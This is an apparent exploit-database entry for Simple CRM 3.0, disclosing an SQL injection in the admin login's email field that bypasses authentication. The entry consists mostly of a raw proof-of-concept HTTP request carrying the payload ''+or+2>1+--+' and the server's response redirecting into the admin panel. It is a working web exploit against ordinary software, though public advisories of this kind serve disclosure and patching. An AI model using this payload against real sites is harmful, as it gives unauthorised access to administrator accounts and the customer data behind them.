Simple CRM 3.0 – ’email’ SQL injection (Authentication Bypass)
# Exploit Title: Simple CRM 3.0 - 'email' SQL injection (Authentication Bypass) # Date: 22/06/2021 # Exploit Author: Rinku Kumar (rinku191) # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/small-crm-php/ # Version: 3.0 # Category: Webapps # Tested on: Apache2+MariaDB latest version # Description : Simple CRM suffers from SQL injection vulnerability, allowing an un-authenticated attackers to login into CRM admin panel. Vulnerable Page: /crm/admin/ POC-Request ----------------------------------- POST /scrm/crm/admin/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 35 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/scrm/crm/admin/ Cookie: PHPSESSID=oj0mohnmrt809ndld8pg1p9f14 Upgrade-Insecure-Requests: 1 email='+or+2>1+--+&password=&login= --------------------------------------- POC-Response HTTP/1.1 200 OK Date: Tue, 22 Jun 2021 15:53:00 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.33 X-Powered-By: PHP/7.2.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 48 Connection: close Content-Type: text/html; charset=UTF-8 <script>window.location.href='https://www.exploit-db.com/exploits/50055/home.php'</script> |